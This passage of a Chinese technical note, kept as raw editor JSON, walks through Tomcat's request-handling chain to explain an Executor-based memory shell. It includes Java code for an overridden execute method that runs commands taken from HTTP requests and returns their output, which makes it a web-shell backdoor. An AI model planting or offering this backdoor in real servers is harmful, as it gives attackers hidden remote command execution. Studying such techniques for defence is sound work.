{&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iNa6-1659701693160&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9TT2-1659701693159&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.expand();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ptsV-1659701693162&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CsKY-1659701693161&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pds4-1659701693166&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uwkA-1659701693165&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    return true;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qRCp-1659701693168&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;abEi-1659701693167&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Fel9-1659701694737&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GnXx-1659701694735&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fccg-1659701702364&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4Ib6-1659701702362&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;......&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0fcN-1659701694938&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;psgr-1659701694937&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;73lf-1659701746507&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RLRE-1659701746505&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Event添加完成后 Acceptor调用accept方法&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hJEg-1659701789543&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/2/WEBRESOURCEff4dcc60f54cd5f71cf83bf9f86ffda2&#34;,&#34;width&#34;:662,&#34;height&#34;:407},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/2/WEBRESOURCEff4dcc60f54cd5f71cf83bf9f86ffda2&#34;,&#34;initialSize&#34;:{&#34;width&#34;:662,&#34;height&#34;:407},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OBbn-1659701849761&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/0/WEBRESOURCEa477ef7b07f7fc675355575df3f3dc40&#34;,&#34;width&#34;:662,&#34;height&#34;:407},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/0/WEBRESOURCEa477ef7b07f7fc675355575df3f3dc40&#34;,&#34;initialSize&#34;:{&#34;width&#34;:662,&#34;height&#34;:407},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0CH8-1659702098444&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ck3m-1659702098445&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;通过Poller的prosessKey方法发送给Executor进行相关execute操作：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MLsr-1659702371985&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/b/WEBRESOURCE03d4a73f3a1bed5b9e532bdf190f58eb&#34;,&#34;width&#34;:662,&#34;height&#34;:407},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/b/WEBRESOURCE03d4a73f3a1bed5b9e532bdf190f58eb&#34;,&#34;initialSize&#34;:{&#34;width&#34;:662,&#34;height&#34;:407},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wico-1659702404919&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/6/WEBRESOURCEd911b04c4ecc35d5d7edb54ead62d976&#34;,&#34;width&#34;:662,&#34;height&#34;:407},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/6/WEBRESOURCEd911b04c4ecc35d5d7edb54ead62d976&#34;,&#34;initialSize&#34;:{&#34;width&#34;:662,&#34;height&#34;:407},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Zl1g-1659702402396&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;P22D-1659702402397&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;而前文中提到，我们的恶意代码就在重写的execute方法中：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xYlo-1659702507136&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;m63y-1659702507068&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ro6F-1659702507066&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34; @Override&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7Xqk-1659702507070&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YHAI-1659702507069&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        public void execute(Runnable command) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nSSA-1659702507072&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kHdw-1659702507071&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//            System.out.println(\&#34;123\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jg3P-1659702507074&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;556L-1659702507073&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bWvT-1659702507076&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HhA9-1659702507075&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            String cmd = getRequest();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9XL7-1659702507078&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YsIe-1659702507077&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if (cmd.length() &gt;1) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YTtY-1659702507080&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;E5E9-1659702507079&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Qtln-1659702507082&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;t6fo-1659702507081&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    Runtime rt = Runtime.getRuntime();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kuek-1659702507084&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;x22x-1659702507083&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    Process process = rt.exec(cmd);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;g7ea-1659702507086&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;v98d-1659702507085&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    java.io.InputStream in = process.getInputStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Aq5I-1659702507088&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;v47R-1659702507087&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ddit-1659702507090&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cWDP-1659702507089&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sAcC-1659702507092&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Kv3H-1659702507091&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;U0Zn-1659702507094&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3bkc-1659702507093&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    String s = \&#34;\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CZV5-1659702507096&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FSOk-1659702507095&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    String tmp = \&#34;\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OZqm-1659702507098&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yt3F-1659702507097&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    while ((tmp = stdInput.readLine()) != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3swN-1659702507100&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9J3e-1659702507099&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        s += tmp;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2Mdw-1659702507102&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;R4Yt-1659702507101&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dX4s-1659702507105&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tHvc-1659702507104&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    if (s != \&#34;\&#34;) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PJpC-1659702507107&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8Vn4-1659702507106&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        byte[] res = s.getBytes(StandardCharsets.UTF_8);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SnSv-1659702507109&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ejtu-1659702507108&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        getResponse(res);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BrT6-1659702507111&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6SDS-1659702507110&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kNpP-1659702507113&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HKlS-1659702507112&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Znx4-1659702507115&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0hku-1659702507114&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MOBh-1659702507117&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NdMZ-1659702507116&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } catch (IOException e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rDPQ-1659702507119&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;m4o2-1659702507118&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6xVY-1659702507121&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TNMg-1659702507120&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nNrY-1659702507123&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2RUc-1659702507122&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kttX-1659702507125&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OwSE-1659702507124&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZeNi-1659702507127&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TFg1-1659702507126&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jNFH-1659702507129&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;R7DT-1659702507128&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.execute(command, 0L, TimeUnit.MILLISECONDS);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wReL-1659702507131&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qxuH-1659702507130&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dDIV-1659702507133&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lWut-1659702507132&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rFRu-1659702507135&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mnw5-1659702507134&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Qs87-1659702402553&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rmfW-1659702402552&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;执行完毕后，SocketProcessor对象会通过process方法将我们的socketWrapper送往真正进行socket处理的processor组件：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Pnof-1659702575310&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/b/WEBRESOURCE5e19dc78e5f737efe39f8fa0364dc72b&#34;,&#34;width&#34;:662,&#34;height&#34;:407},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/b/WEBRESOURCE5e19dc78e5f737efe39f8fa0364dc72b&#34;,&#34;initialSize&#34;:{&#34;width&#34;:662,&#34;height&#34;:407},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;76Vm-1659702638212&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/d/WEBRESOURCE307fe19f37bbbe55c3f559de291490dd&#34;,&#34;width&#34;:662,&#34;height&#34;:407},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/d/WEBRESOURCE307fe19f37bbbe55c3f559de291490dd&#34;,&#34;initialSize&#34;:{&#34;width&#34;:662,&#34;height&#34;:407},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;S71h-1659702435698&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;u5JK-1659702435696&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;socket处理：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K9ZK-1659702937794&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/4/WEBRESOURCEcdd9706692a967da5845dc874627aeb4&#34;,&#34;width&#34;:662,&#34;height&#34;:407},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/4/WEBRESOURCEcdd9706692a967da5845dc874627aeb4&#34;,&#34;initialSize&#34;:{&#34;width&#34;:662,&#34;height&#34;:407},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xeZj-1659703001258&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/2/WEBRESOURCE4370db9c45908d45a6d9960ea9aad472&#34;,&#34;width&#34;:662,&#34;height&#34;:407},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/2/WEBRESOURCE4370db9c45908d45a6d9960ea9aad472&#34;,&#34;initialSize&#34;:{&#34;width&#34;:662,&#34;height&#34;:407},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;V03L-1659702933253&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;THgF-1659702933252&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;最终的read在fill()方法中实现：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;j99F-1659703125387&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/f/WEBRESOURCE9f23b43c7ea7569d1b3d4b658107d80f&#34;,&#34;width&#34;:662,&#34;height&#34;:407},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/f/WEBRESOURCE9f23b43c7ea7569d1b3d4b658107d80f&#34;,&#34;initialSize&#34;:{&#34;width&#34;:662,&#34;height&#34;:407},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RZhU-1659703125394&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bJvH-1659703125391&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QHt4-1659703041204&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Mlua-1659703041115&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DGhG-1659703041114&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;private boolean fill(boolean block) throws IOException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mLiQ-1659703041117&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CyPW-1659703041116&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (log.isDebugEnabled()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tDTR-1659703041119&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wBJr-1659703041118&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        log.debug(\&#34;Before fill(): parsingHeader: [\&#34; + this.parsingHeader + \&#34;], parsingRequestLine: [\&#34; + this.parsingRequestLine + \&#34;], parsingRequestLinePhase: [\&#34; + this.parsingRequestLinePhase + \&#34;], parsingRequestLineStart: [\&#34; + this.parsingRequestLineStart + \&#34;], byteBuffer.position(): [\&#34; + this.byteBuffer.position() + \&#34;], byteBuffer.limit(): [\&#34; + this.byteBuffer.limit() + \&#34;], end: [\&#34; + this.end + \&#34;]\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0rDc-1659703041122&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oage-1659703041120&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CHrt-1659703041124&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;F5qB-1659703041123&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bIi4-1659703041126&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9QJy-1659703041125&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (this.parsingHeader) 